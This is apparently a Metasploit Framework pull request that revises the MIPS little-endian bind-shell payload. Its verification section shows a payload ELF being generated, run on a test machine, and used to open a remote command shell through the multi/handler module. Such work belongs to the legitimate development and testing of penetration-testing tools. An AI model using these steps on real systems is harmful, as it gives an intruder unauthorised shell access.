rapid7/metasploit-framework — pull request #2846 by jvazquez-r7 (2014-01-08 18:47:14+00:00)
Title: Review the mipsle shell_bind_tcp shellcode

* Fix endianess problem on the bind call
* Save some bytes by deleting delay slots after syscall since as far as I've tested they aren't needed
* Save some bytes by optimizing the dup2 and execve calls

Verification
--------------

- [ ] Use msfpayload to generate and ELF with the payload embedded

```
$ ./msfpayload linux/mipsle/shell_bind_tcp RHOST=192.168.172.134 LPORT=4444 X > /tmp/shell.elf
Created by msfpayload (http://www.metasploit.com).
Payload: linux/mipsle/shell_bind_tcp
Length: 232
Options: {"RHOST"=>"192.168.172.134", "RPORT"=>"4444"}
```

- [ ] Upload the shell.elf to an mipsle machine, provide +x permissions and execute:

```
juan@debian:~$ chmod +x shell.elf
juan@debian:~$ ./shell.elf
```

- [ ] Run the msfconsole, use exploit/multi/handler with the shell_bind_tcp payload and exploit, you should get a session:

```
msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------

Payload options (linux/mipsle/shell_bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 192.168.172.134 no The target address

Exploit target:

Id Name
-- ----
0 Wildcard Target

msf exploit(handler) > exploit

[*] Started bind handler
[*] Starting the payload handler...
[*] Command shell session 6 opened (192.168.172.1:57104 -> 192.168.172.134:4444) at 2014-01-08 12:35:56 -0600
u
^R
uname -a
Linux debian 2.6.32-5-4kc-malta #1 Fri Feb 15 18:09:19 UTC 2013 mips GNU/Linux
id
uid=1000(juan) gid=1000(juan) groups=1000(juan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
^C
Abort session 6? [y/N] y

[*] 192.168.172.134 - Command shell session 6 closed. Reason: User exit
msf exploit(handler) >
```